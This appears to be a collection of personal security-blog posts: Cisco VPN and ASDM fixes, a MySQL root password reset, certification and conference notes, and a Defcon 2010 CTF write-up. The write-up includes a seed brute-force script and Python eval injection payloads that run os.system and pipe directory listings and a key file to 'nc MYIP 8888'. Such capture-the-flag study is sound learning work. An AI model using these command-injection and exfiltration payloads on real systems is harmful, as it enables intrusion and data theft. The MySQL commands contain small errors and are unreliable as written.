0

Cisco VPN Client on BackTrack3

-

I wanted to install Cisco VPN client on BackTrack3. You can get the Cisco VPN client source using the following command:
wget ftp://ftp.cs.cornell.edu/pub/rvr/upload/vpnclient-linux-4.8.00.0490-k9.tar.gz
tar zxvf
vpnclient-linux-4.8.00.0490-k9.tar.gz
cd vpnclient/
wget http://tuxx-home.at/projects/cisco-vpnclient/vpnclient-linux-2.6.22.diff
patch < vpnclient-linux-2.6.22.diff
./vpn_install

I got this information from the following blog.
I ran into an error whereby the kernel sources were not found for the VPN client to install. I then got the BackTrack3 kernel sources.
cd /lib/
wget http://www.offensive-security.com/kernel.lzm
mkdir test
lzm2dir kernel.lzm test

Now go into the vpnclient directory and execute the following:
./vpn_install

Accept the defaults (except in my case I selected “No” on automatically start VPN client). When it asks for the sources point it to:
/lib/test/usr/src/linux-2.6.21.5

Then the VPN Client should compile without any issues. Then you just need to place your Cisco VPN client Profile (.pcf) in the /etc/opt/cisco-vpnclient/Profiles directory. You will need to first start the VPN client service first using:

/etc/init.d/vpnclient_init start

Once the service is started just connect using:

vpnclient connect mypcffile user test password <whatever>

Please note that the full name of the Profile file in the above case is mypcffile.pcf but I’ve deliberately excluded the .pcf extension.
This should work.

0

Pwtent Pwnable 200 Writeup CTF Quals 2010

-

This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.
The question was:
Running on pwn8.ddtek.biz. And this file was given.

If you open this file in an editor you see the following screen:

Note that there are references to lottod.pys file which indicates that this could be a python script file.  Sure enough, if you decompile it using decompyle you get the following source.

class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):
    __module__ = __name__
    lotto_grid = None
    connstream_fobj = None

    def setup(self):
        signal.signal(signal.SIGALRM, self.handleSessionTimeout)
        signal.alarm(SESSION_LIMIT_TIME)

    def handleSessionTimeout(self, signum, frame):
        raise socket.timeout

    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])

        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])

        return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))

        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

    def playGame(self):
        self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

    def handle(self):
        rand_seed = self.request.getpeername()[1]
        self.connstream_fobj = self.request.makefile()
        random.seed(rand_seed)
        self.request.send('Welcome to lottod good luck!\n')
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        self.winners = self.createWinners()
        self.request.send('Your random picks are:\n')
        for pick_idx in range(0, PICK_SIZE):
            self.request.send(('%d. %s\n' % (pick_idx,
             self.lotto_grid[self.pick_list[pick_idx]])))

        self.handlePickChange()
        self.playGame()

class ForkedTCPServer(SocketServer.ForkingMixIn,
 SocketServer.TCPServer):
    __module__ = __name__
    timeout = 5
    request_queue_size = 10

def runServer():
    (HOST, PORT,) = ('0.0.0.0',
     10024)
    server = ForkedTCPServer((HOST,
     PORT), ForkedTCPRequestHandler)
    server.serve_forever()

def doFork(n):
    try:
        pid = fork()
        if ((pid > 0) and (n > 0)):
            print ('Lottod PID %d' % pid)
        if (pid > 0):
            exit(0)
    except OSError, e:
        print ('Fork %d failed %d (%s)' % (n,
         e.errno,
         e.strerror))
        exit(1)

if (__name__ == '__main__'):
    doFork(0)
    chdir('/')
    setsid()
    umask(0)
    doFork(1)
    runServer()

# local variables:
# tab-width: 4

If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz. If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).

rand_seed = self.request.getpeername()[1]

So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I’d see would always be the same.

# nc -vv -p 1  pwn8.ddtek.biz 10024

If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
            if (input.strip() == ''):
                break
            else:
                idx_to_edit = int(input)
                l = self.getLine('Input your new pick\n')
                self.lotto_grid[self.pick_list[idx_to_edit]] = l

So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))

        if winner:
            self.request.send('ZOMG You won!!!\n')
        else:
            self.request.send("Sorry you aren't very lucky... Maybe you have better luck with women?\n")

But then you also see that the first element of the self.lotto_grid list is a function pointer. Also, you notice that there’s an eval() function that essentially executed the checkWinners function.
So I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that’d give me control of the execution flow.

# !/usr/bin/python
import random
RAND_MAX = (2 ** 20)
PICK_SIZE = 5
MAX_READ = 128
LOTTO_GRID_SIZE = 299
SESSION_LIMIT_TIME = 30
MAX_PICK_CHANGES = 5
WINNER_CHECK_FUNCTION = 'self.checkWinners'

class Test:
    def createWinners(self):
        winners = set()
        while (len(winners) < PICK_SIZE):
            winners.update([random.randint(1, RAND_MAX)])
	#print "Winners are: ", winners
        return winners

    def pickRandom(self):
        picks = set()
        llen = len(self.lotto_grid)
        rand_base = (len(picks) - 1)
        while (len(picks) < PICK_SIZE):
            i = random.randint(rand_base, RAND_MAX)
            if (i < 1):                 ++i             if ((i > llen) and ((i % llen) == 0)):
                i += 1
            i = (i % llen)
            picks.update([i])
	return picks

    def genGrid(self):
        grid = [WINNER_CHECK_FUNCTION]
        while (len(grid) != LOTTO_GRID_SIZE):
            grid.append(random.randint(0, RAND_MAX))
	#counter = 0
	#while counter < len(grid):
	#	print grid[counter]
	#	counter += 1
        return grid

    def checkWinners(self, element):
        winner = True
        for n in self.winners:
            winner = (winner & (n in [ self.lotto_grid[p] for p in self.pick_list ]))
        if winner:
            print "ZOMG You won!!!\n'"
	    return True
        else:
            print "Sorry you aren't very lucky... Maybe you have better luck with women?\n"
	    return False

    def playGame(self):
        #self.request.send('Thanks for your choices, calculating if you won...')
        eval(self.lotto_grid[0])(self.lotto_grid[1:])

    def getLine(self, msg):
        self.request.send(msg)
        return self.connstream_fobj.readline(MAX_READ)

    def handlePickChange(self):
        for r in range(0, MAX_PICK_CHANGES):
        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\n')
        #    if (input.strip() == ''):
        #        break
        #    else:
        #        idx_to_edit = int(input)
        #        l = self.getLine('Input your new pick\n')
        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l
		for idx_to_edit in range(-PICK_SIZE,PICK_SIZE):
			if self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:
				print "Ind: %d, %s" % (idx_to_edit,self.lotto_grid[0])
				return True
	return False
	#gridcounter = 0
	#found = False
	#while gridcounter < len(self.lotto_grid):
	#  if self.lotto_grid[gridcounter] in self.winners:
	#    if gridcounter < PICK_SIZE:
	#      print "Gridctr: %d : %d" % (gridcounter,self.lotto_grid[gridcounter])
	#      found = True
	#  gridcounter += 1
	#return found
	#allfound = False
	#instances = 0
	#for x in self.winners:
	#	foundx = False
	#	gridctr = -LOTTO_GRID_SIZE
	#	while gridctr < LOTTO_GRID_SIZE:#len(self.lotto_grid):
	#			foundx = True
	#			print "gridctr: %d , val = %d " % (gridctr,x)
	#			#break
	#		gridctr += 1
	#	if foundx:
	#		allfound = True
	#	else:
	#		allfound = False
	#		return False
	#return allfound

    def handle(self,port):
        random.seed(port)
        self.lotto_grid = self.genGrid()
        self.pick_list = list(self.pickRandom())
        #print "picklist : ",self.pick_list
	self.winners = self.createWinners()
        #for pick_idx in range(0, PICK_SIZE):
        #    print(('%d. %s\n' % (pick_idx,
        #     self.lotto_grid[self.pick_list[pick_idx]])))
        if self.handlePickChange():
		return True
	return False
        #self.playGame()
	#if self.checkWinners(self.lotto_grid[1:]):
	#	return True
	#return False

test = Test()
portno = 0
while portno < 65536:
  print "Trying...%d" % ( portno )
  if test.handle(portno):
	print "Success! on port %d" % (portno)
    	#break
  portno += 1

Once you run this you get the following values for port and index: 28741 & -5 respectively.

$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741
Warning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out
pwn8.ddtek.biz [192.41.96.63] 10024 (?) open
Welcome to lottod good luck!
Your random picks are:
0. self.checkWinners
1. 321358
2. 144737
3. 447310
4. 63867
Input the number of the pick that you wish to change or newline to stop:
-5
Input your new pick
self.checkWinners(self.winners.clear())
Input the number of the pick that you wish to change or newline to stop:

Thanks for your choices, calculating if you won...ZOMG You won!!!
 sent 44, rcvd 344
trance@bt:~$

But then this still does not give you the answer. The key here is to realize that you can perform remote command injection. So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:

self.checkWinners(__import__('os').system('ls /home|nc MYIP 8888'))
self.checkWinners(__import__('os').system('ls /home/lottod|nc MYIP 8888'))
self.checkWinners(__import__('os').system('cat /home/lottod/key|nc MYIP 8888'))

After the last command your netcat listener shell shows the following string:
holdem is a safer bet than lotto

And that is indeed the answer to the challenge!

The python file is located here: Pp200sol.py.

1

Cisco ASDM IDM Launcher Loading Errors

-

Cisco ASDM is quirky in the sense that if the right Java version is not found it will just puke with errors that make no sense. This is what my java log looks like:
Application Logging Started at Fri Aug 01 11:01:11 EDT 2010
---------------------------------------------
Local Launcher Version = 1.5.41
Local Launcher Version Display = 1.5(41)
Cannot read profile file C:\Documents and Settings\abcdef\.asdm\data\deviceinfo.conf.
OK button clicked
Trying for ASDM Version file; url = https://www.example.com/admin/
Server Version = 6.2(1)
Server Launcher Version = 1.5.41, size = 476672 bytes
Launcher version checking is successful.
invoking SGZ Loader..
Cache location = C:/Documents and Settings/abcdef/.asdm/cache
Exception in thread "SGZ Loader: launchSgzApplet" java.lang.NoSuchFieldError: b
at dac.setLevel(dac.java:65)
at dac.(dac.java:44)
at gd.(gd.java:78)
at f5.a(f5.java:117)
at com.cisco.dmcommon.util.DMCommonEnv.(DMCommonEnv.java:38)
at com.cisco.pdm.PDMApplet.updateProgress(PDMApplet.java:300)
at com.cisco.pdm.PDMApplet.init(PDMApplet.java:63)
at com.cisco.nm.dice.loader.r.run(DashoA19*..:409)

It happens because the ASDM launcher is not capable of running on newer JVMs. Since I had older JVMs, I went into Control Panel -> Java. Click on the Java tab, followed by clicking the “view” button. This will show you the current JVM being used. If you have older JVMs click on Find (you will have to select the folder where you suspect older JVMs to be…which in my case was c:\Program Files). If you don’t find an older JVM then just install an older version and it will work.

0

ERROR 1045 (28000): Access denied for user ‘root’@’localhost’ (using password: NO)

-

If this is the error you are getting then one of the solutions is to reset your root password on the MySQL database server.

$ pkill mysql
$ sudo mysqld --skip-grant-privileges
$ mysql

At this point you get the mysql command shell. You will need to update the root password and flush the table when you reset the password.

mysql> set UPDATE mysql.user SET Password=PASSWORD('YOUR_NEW_PASSWORD') WHERE User='root';
mysql> FLUSH PRIVILEGES;

Now that you’ve flushed your passwords, just restart your mysql daemon.

$ sudo pkill mysqld
$ sudo /etc/init.d/mysqld start
$ mysql -u root -p
Enter Password: YOUR_NEW_PASSWORD
mysql>

You should be all set now!

0

CEPT Certified!

-

I finally got the Certified Expert Penetration Tester (CEPT) with a good score on the practical. There were two parts to the certification : an objective multiple choice written test and a practical. To qualify one needs 70% on the written and 70% on the practical portion of the test.
The written test was not too challenging if you follow the material taught at the InfoSec Institute’s Advanced Ethical Hacking course, however, the practical made up on the lack of challenge. The practical involved writing an unpublished stack overflow exploit for a real-world commercial software of IACRB’s choosing, a format string exploit for a custom application and writing a patch for windows binary to subvert registration mechanism on the binary. One could write the exploit in the form of a python script (that I chose), a shell script , a perl script or a binary written in a language of our choosing. The solution could be quite flexible when it came to the choice of language for writing the exploits.
Personally speaking, this was a great learning experience for me and I plan to continue learning in the interesting field of vulnerability development!

0

Start the Blog!

-

Just started blogging…actually getting pretty late into the blogging culture! Studying and doing projects to complete graduation at USC. My homepage is at http://www-scf.usc.edu/~swarup/.

1

ToorConX in San Diego

-

I recently came back from the ToorConX in San Diego, CA. It was a great conference with some really cool talks. Especially RFD (Remote file download using blind sql injection), reversing malware using browser hooking, cracking crypt() hashes using Ps3, grey box peach fuzz xml generation tool (nunchaku), voip eavesdropping, bypassing browser memory protection.
These were some really cool talks but I still don’t have access to any presentation slides yet for the con. May be those will be posted some time.